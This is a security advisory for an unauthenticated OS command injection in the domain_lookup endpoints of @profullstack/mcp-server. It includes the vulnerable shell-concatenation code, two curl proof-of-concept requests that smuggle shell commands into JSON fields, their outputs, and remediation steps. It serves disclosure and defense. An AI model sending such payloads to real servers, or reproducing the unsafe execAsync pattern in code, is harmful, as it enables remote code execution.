GHSA-V6WJ-C83F-V46X

Vulnerability from github – Published: 2026-05-09 00:42 – Updated: 2026-05-09 00:42

Summary

@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module

Details

Security Advisory: OS Command Injection in `profullstack/mcp-server` `domain_lookup` Module

Field | Value -- | -- Project | profullstack/mcp-server Repository | https://github.com/profullstack/mcp-server Affected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9 Affected Module | mcp_modules/domain_lookup Affected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk Vulnerability Type | CWE-78: OS Command Injection CVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Authentication Required | None Default Network Exposure | Bind address 0.0.0.0, no global authentication middleware Validated | 2026-04-21 (initial), 2026-04-28 (re-confirmed)

Summary

The domain_lookup module assembles a shell command string by concatenating user-controlled input (domains / keywords) and passes it to execAsync(). Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.

Affected Code

index.js:27 — server binds to 0.0.0.0, no global auth middleware.
mcp_modules/domain_lookup/index.js:52 — registers POST /domain-lookup/check.
mcp_modules/domain_lookup/index.js:55 — registers POST /domain-lookup/bulk.
mcp_modules/domain_lookup/src/service.js:19, :20 — buildTldxCommand() concatenates user input into the shell string.
mcp_modules/domain_lookup/src/service.js:114, :115, :142 — execAsync(command) sink reached from both routes.

Vulnerable Code

File: mcp_modules/domain_lookup/src/service.js

Step 1 — User input concatenated directly into a shell string:

buildTldxCommand(keywords, options = {}) {
  let command = `tldx ${keywords.join(' ')}`;

  if (options.prefixes?.length) {
    command += ` --prefixes ${options.prefixes.join(',')}`;
  }
}

Step 2 — That shell string is executed as-is:

async checkDomainAvailability(domains, options = {}) {
  try {
    const command = this.buildTldxCommand(domains, options);
    const { stdout, stderr } = await execAsync(command);

There is no sanitization between Step 1 and Step 2. Shell metacharacters (;, |, $(), etc.) in user input are interpreted by /bin/sh at execution time.

Proof of Concept

Tested against a local Docker build of the affected commit (0.0.0.0:13000->3000/tcp).

PoC A — `POST /domain-lookup/check`

Request:

curl -X POST http://localhost:13000/domain-lookup/check \
  -H 'Content-Type: application/json' \
  -d '{"domains":["example.com; echo final_check_poc > /tmp/verify-exports/final_check.txt; #"]}'

Response:

HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:39 GMT

{"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"}

Side effect confirmed inside container:

$ cat /tmp/verify-exports/final_check.txt
final_check_poc

PoC B — `POST /domain-lookup/bulk`

Request:

curl -X POST http://localhost:13000/domain-lookup/bulk \
  -H 'Content-Type: application/json' \
  -d '{"keywords":["safe","x; echo final_bulk_poc > /tmp/verify-exports/final_bulk.txt; #"]}'

Response:

HTTP/1.1 500 Internal Server Error
access-control-allow-origin: *
content-type: application/json
Date: Tue, 21 Apr 2026 04:32:40 GMT

{"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\n"}

Side effect confirmed inside container:

$ cat /tmp/verify-exports/final_bulk.txt
final_bulk_poc

Note on HTTP 500

Both requests return HTTP 500 because tldx is not installed in the test container. The injected commands are interpreted by the shell before tldx is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where tldx is installed, both the intended function and the injected commands execute.

Impact

Unauthenticated remote code execution as the server process UID.
Full read/write access to any file the server process can access.
Potential for outbound connections, credential theft, persistence, and lateral movement.
Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints.

Suggested Remediation

Replace execAsync(command) with child_process.execFile or spawn('tldx', [keyword1, keyword2, ...]) — pass arguments as an array, never as a concatenated shell string.
Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.
Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously.
Default the server bind address to 127.0.0.1 and require explicit opt-in for non-loopback bindings.

Verification Environment

Local Docker container only; no third-party deployment was tested.
The container does not include the tldx binary; this is intentional for safe local PoC and does not affect exploitability.

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@profullstack/mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-09T00:42:12Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "\u003chtml\u003e\n\u003cbody\u003e\n\u003c!--StartFragment--\u003e\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1\u003eSecurity Advisory: OS Command Injection in \u003ccode\u003eprofullstack/mcp-server\u003c/code\u003e \u003ccode\u003edomain_lookup\u003c/code\u003e Module\u003c/h1\u003e\n\nField | Value\n-- | --\nProject | profullstack/mcp-server\nRepository | https://github.com/profullstack/mcp-server\nAffected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9\nAffected Module | mcp_modules/domain_lookup\nAffected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk\nVulnerability Type | CWE-78: OS Command Injection\nCVSS 3.1 Score | 9.8 (Critical) \u2014 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\nAuthentication Required | None\nDefault Network Exposure | Bind address 0.0.0.0, no global authentication middleware\nValidated | 2026-04-21 (initial), 2026-04-28 (re-confirmed)\n\n\n\u003chr\u003e\n\u003ch2\u003eSummary\u003c/h2\u003e\n\u003cp\u003eThe \u003ccode\u003edomain_lookup\u003c/code\u003e module assembles a shell command string by concatenating user-controlled input (\u003ccode\u003edomains\u003c/code\u003e / \u003ccode\u003ekeywords\u003c/code\u003e) and passes it to \u003ccode\u003eexecAsync()\u003c/code\u003e. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist \u2014 and no authentication on the server \u2014 an unauthenticated remote attacker can execute arbitrary OS commands as the server process.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eAffected Code\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eindex.js:27\u003c/code\u003e \u2014 server binds to \u003ccode\u003e0.0.0.0\u003c/code\u003e, no global auth middleware.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/index.js:52\u003c/code\u003e \u2014 registers \u003ccode\u003ePOST /domain-lookup/check\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/index.js:55\u003c/code\u003e \u2014 registers \u003ccode\u003ePOST /domain-lookup/bulk\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/src/service.js:19, :20\u003c/code\u003e \u2014 \u003ccode\u003ebuildTldxCommand()\u003c/code\u003e concatenates user input into the shell string.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003emcp_modules/domain_lookup/src/service.js:114, :115, :142\u003c/code\u003e \u2014 \u003ccode\u003eexecAsync(command)\u003c/code\u003e sink reached from both routes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eVulnerable Code\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eFile:\u003c/strong\u003e \u003ccode\u003emcp_modules/domain_lookup/src/service.js\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1 \u2014 User input concatenated directly into a shell string:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-js\"\u003ebuildTldxCommand(keywords, options = {}) {\n  let command = `tldx ${keywords.join(\u0027 \u0027)}`;\n\n  if (options.prefixes?.length) {\n    command += ` --prefixes ${options.prefixes.join(\u0027,\u0027)}`;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eStep 2 \u2014 That shell string is executed as-is:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-js\"\u003easync checkDomainAvailability(domains, options = {}) {\n  try {\n    const command = this.buildTldxCommand(domains, options);\n    const { stdout, stderr } = await execAsync(command);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThere is no sanitization between Step 1 and Step 2. Shell metacharacters (\u003ccode\u003e;\u003c/code\u003e, \u003ccode\u003e|\u003c/code\u003e, \u003ccode\u003e$()\u003c/code\u003e, etc.) in user input are interpreted by \u003ccode\u003e/bin/sh\u003c/code\u003e at execution time.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eProof of Concept\u003c/h2\u003e\n\u003cp\u003eTested against a local Docker build of the affected commit (\u003ccode\u003e0.0.0.0:13000-\u0026gt;3000/tcp\u003c/code\u003e).\u003c/p\u003e\n\u003ch3\u003ePoC A \u2014 \u003ccode\u003ePOST /domain-lookup/check\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eRequest:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -X POST http://localhost:13000/domain-lookup/check \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"domains\":[\"example.com; echo final_check_poc \u0026gt; /tmp/verify-exports/final_check.txt; #\"]}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eResponse:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP/1.1 500 Internal Server Error\naccess-control-allow-origin: *\ncontent-type: application/json\nDate: Tue, 21 Apr 2026 04:32:39 GMT\n\n{\"error\":\"tldx command failed: tldx command failed: /bin/sh: tldx: not found\\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eSide effect confirmed inside container:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ cat /tmp/verify-exports/final_check.txt\nfinal_check_poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003ePoC B \u2014 \u003ccode\u003ePOST /domain-lookup/bulk\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eRequest:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -X POST http://localhost:13000/domain-lookup/bulk \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"keywords\":[\"safe\",\"x; echo final_bulk_poc \u0026gt; /tmp/verify-exports/final_bulk.txt; #\"]}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eResponse:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP/1.1 500 Internal Server Error\naccess-control-allow-origin: *\ncontent-type: application/json\nDate: Tue, 21 Apr 2026 04:32:40 GMT\n\n{\"error\":\"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eSide effect confirmed inside container:\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ cat /tmp/verify-exports/final_bulk.txt\nfinal_bulk_poc\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eNote on HTTP 500\u003c/h3\u003e\n\u003cp\u003eBoth requests return HTTP 500 because \u003ccode\u003etldx\u003c/code\u003e is not installed in the test container. The injected commands are interpreted by the shell \u003cstrong\u003ebefore\u003c/strong\u003e \u003ccode\u003etldx\u003c/code\u003e is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where \u003ccode\u003etldx\u003c/code\u003e is installed, both the intended function and the injected commands execute.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2\u003eImpact\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUnauthenticated remote code execution as the server process UID.\u003c/li\u003e\n\u003cli\u003eFull read/write access to any file the server process can access.\u003c/li\u003e\n\u003cli\u003ePotential for outbound connections, credential theft, persistence, and lateral movement.\u003c/li\u003e\n\u003cli\u003eReproducible with a single unauthenticated HTTP POST to either of two documented endpoints.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2\u003eSuggested Remediation\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eReplace \u003ccode\u003eexecAsync(command)\u003c/code\u003e with \u003ccode\u003echild_process.execFile\u003c/code\u003e or \u003ccode\u003espawn(\u0027tldx\u0027, [keyword1, keyword2, ...])\u003c/code\u003e \u2014 pass arguments as an array, never as a concatenated shell string.\u003c/li\u003e\n\u003cli\u003eValidate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.\u003c/li\u003e\n\u003cli\u003eAdd a global authentication middleware so all HTTP-exposed modules are not callable anonymously.\u003c/li\u003e\n\u003cli\u003eDefault the server bind address to \u003ccode\u003e127.0.0.1\u003c/code\u003e and require explicit opt-in for non-loopback bindings.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2\u003eVerification Environment\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eLocal Docker container only; no third-party deployment was tested.\u003c/li\u003e\n\u003cli\u003eThe container does not include the \u003ccode\u003etldx\u003c/code\u003e binary; this is intentional for safe local PoC and does not affect exploitability.\u003c/li\u003e\n\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e\u003c!--EndFragment--\u003e\n\u003c/body\u003e\n\u003c/html\u003e",
  "id": "GHSA-v6wj-c83f-v46x",
  "modified": "2026-05-09T00:42:12Z",
  "published": "2026-05-09T00:42:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/profullstack/mcp-server/security/advisories/GHSA-v6wj-c83f-v46x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/profullstack/mcp-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-V6WJ-C83F-V46X

Security Advisory: OS Command Injection in profullstack/mcp-server domain_lookup Module

Summary

Affected Code

Vulnerable Code

Proof of Concept

PoC A — POST /domain-lookup/check

PoC B — POST /domain-lookup/bulk

Note on HTTP 500

Impact

Suggested Remediation

Verification Environment

Tags

Sightings

Nomenclature

Security Advisory: OS Command Injection in `profullstack/mcp-server` `domain_lookup` Module

PoC A — `POST /domain-lookup/check`

PoC B — `POST /domain-lookup/bulk`